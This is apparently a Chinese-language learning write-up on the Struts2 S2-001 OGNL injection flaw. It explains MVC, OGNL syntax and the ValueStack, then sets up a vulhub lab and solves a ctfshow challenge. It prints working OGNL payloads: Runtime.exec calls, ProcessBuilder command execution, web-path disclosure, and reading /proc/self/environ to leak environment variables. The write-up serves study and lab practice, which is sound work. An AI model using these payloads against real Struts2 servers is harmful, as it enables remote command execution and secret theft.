struts2漏洞
struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}
并重新填充相应的表单数据。
这里的%{value}
简单理解就是和flask的模板注入{{}}
差不多 会对里面的内容进行解析
因此我们可以利用其进行命令执行
struts2
最早实现 MVC(Model+View+Controller) 模式的 java web 框架
Apache Struts 2最初被称为WebWork 2,它是一个简洁的、可扩展的框架,可用于创建企业级Java web应用程序。设计这个框架是为了从构建、部署、到应用程序维护方面来简化整个开发周期。以 xwork 作为底层实现的核心,以 ognl 作为浏览器与 java 对象数据流转沟通的语言,实现不同形式数据之间的转换与通信。
Struts2框架的MVC分别对应:
V:jsp+OGNL
C:action类
M:javabean+ModelDriven
那么学习到这,还不知道MVC是什么意思
MVC
搜了很多资料
简单来总结归纳一下
组成:
M---业务模型
模型指企业数据(即实体类)和业务规则
V---用户界面
用户看到并与之交互的界面。比如由html元素组成的网页界面,或者软件的客户端界面
C---控制器
控制器接受用户的输入并调用模型和视图去完成用户的需求,控制器本身不输出任何东西和做任何处理。它只是接收请求并决定调用哪个模型构件去处理请求,然后再确定用哪个视图来显示返回的数据。
目的:
将软件用户界面和业务逻辑分离,将软件用户界面和业务逻辑分离以使代码可扩展性、可复用性、可维护性、灵活性加强。
Controller层只是用来调度View层和Model层,将用户界面和业务逻辑合理的组织在一起,起粘合剂的效果,确保M和V的同步,一旦M改变,V应该同步更新。所以Controller中的内容要尽量不含业务逻辑,一般只含有应用程序逻辑
请求流程
Action:Struts2框架的核心,适用于任何MVC(Model View Controller)框架,在Web应用程序中将每个URL映射到特定的action,让其提供处理来自用户的请求所需的处理逻辑。
struts.xml:Struts2 框架的核心配置文件,主要用于配置 Action 和请求的对应关系,以及配置逻辑视图和物理视图。
ognl
OGNL的全称是对象图导航语言,它是一种功能强大的开源表达式语言,同时也是Struts2的默认表达式语言。比EL(只能从域或内置对象中)表达式更强大。
OGNL是基于上下文的,所以Struts构建了一个ActionContext映射以供OGNL使用。 ActionContext映射包含以下内容:
应用程序(Application)—— 应用程序作用域变量
会话(Session) ——会话作用域变量
根/值栈 (ValueStack)—— 所有的action变量都存储在这里
请求 (Request)——请求作用域变量
参数 (Param)——请求参数
属性 (Property)——存储在页面,请求,会话和应用程序作用域中的属性
特点:
OGNL可以存取Java任意对象的任意属性,调用Java对象的方法
ONGL能够自动实现必要的类型转换。
OGNL上下文中的根对象可以直接访问,而引用上下文中的其他对象则需要使用“#”来标记 ;值栈中的任何对象都可以直接访问,而不需要使用 “#”。
参数:
表达式、跟对象和上下文环境。
表达式:表达了这次 ognl 解析要干什么。表达式是OGNL的核心,所有的OGNL操作都是通过解析表达式后进行的。表达式指出了OGNL操作要做的工作。例如,name、student.name等表达式,表示取name或者student中的name的值。
跟对象:表示通常 ognl 操作的对象。OGNL的取值还需要一个上下文环境。设置了Root对象,OGNL可以对Root对象进行取值或写值等操作,Root对象所在环境就是OGNL的上下文环境(Context)。根对象是OGNL要操作的对象,在表达式规定了要完成的工作后,需要指定工作的操作对象。
上下文环境:表示通常 ognl 运行的环境。上下文环境Context是一个Map类型的对象,在表达式中访问Context中对象,需要使用"#"号加上对象名称,即"#对象名称"的形式。例如<s:property value="#request.name"/>中,request就是对象,这个对象取出name属性的值。
public class JustTest {
public static void main(String[] args) throws Exception {
Hacker hacker = new Hacker();
hacker.setName("chenlvtang");
// 创建Context并传入root
OgnlContext context = new OgnlContext();
context.setRoot(hacker)
// 创建Expression
String expression = "hacker.name";
Object ognl = Ognl.parseExpression(expression);
// 调用
Object value = Ognl.getValue(ognl,context,context.getRoot());
System.out.println("result:" + value);
}
}
语法:
-
.
操作符:如上所示,可以调用对象的属性和方法,hacker.name
,且上一个节点的结果作为下一个节点的上下文,如(#a=new java.lang.String("calc")).(@java.lang.Runtime@getRuntime().exec(#a))
,也可以换成逗号(#a=new java.lang.String("calc")),(@java.lang.Runtime@getRuntime().exec(#a))
-
@
操作符:用于调用静态对象、静态方法、静态变量,@java.lang.Math@abs(-10)
-
#
操作符:a)用于调用非root对象
-
// 放入Context中,但不是root
context.put("user", user)
// 创建Expression,非root,所以要加上#
String expression = "#user.name";
Object ognl = Ognl.parseExpression(expression);
// 调用
Object value = Ognl.getValue(ognl,context,context.getRoot());
b)创建Map
#{"name": "chenlvtang", "level": "noob"}
c)定义变量
#a=new java.lang.String[]{"calc"}
-
$
操作符:一般用于配置文件,<param name="name">${name}</param>
-
%
操作符:计算其中的OGNL表达式,%{hacker.name}
-
List:直接使用
{"green", "red", "blue"}
创建 -
对象创建:
new java.lang.String[]{"foobar"}
struts2标签
属性:
(1)所有的字符串属性类型都会解析“%{…}”这样的语法。
(2)所有的非字符属性类型都不会被解析,而是直接被看作一个OGNL表达式进行求值
(3)对于第二个规则的例外情况是,如果非字符串属性使用了“%{…}”语法,那么%{…}将被忽略,花括号中的内容将作为表达式计算。
ValueStack
值栈详解(ValueStack)_actioncontext.getcontext().getvaluestack().set()的值-CSDN博客
本质是一个ArrayList,充当OGNL的root,给一次请求中共享数据的功能。
之前web阶段,在servlet里面进行操作,把数据放到域对象里面,在页面中使用el表达式获取到。域对象在一定范围内存值和取值。在struts2里面提供了本身的一种存储机制,类似于域对象,是值栈可以存值和取值。在action里面把数据放到值栈里面,在页面中获取到值栈的数据。
环境搭建
这里使用vulhub靶场 比较方便 docker直接起
Vulhub - Docker-Compose file for vulnerability environment
在github官网下载镜像安装在kali上
https://github.com/vulhub/vulhub
启动docker环境
service docker start
启动vulhub
docker-compose up -d
搭建完成
漏洞复现
%{1+1}
报错返回解析为2,确认漏洞存在。
获取tomcat执行路径:
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
tomcatBinDir{/usr/local/tomcat}
获取Web路径:
%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}
执行命令
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
ctfshow 279![](https://img-blog.csdnimg.cn/direct/60e3a766bd824d6d8ef4f235b9c59e7c.png)
点击这句话,就看到s2-001
也是看别人的poc的
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/proc/self/environ"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}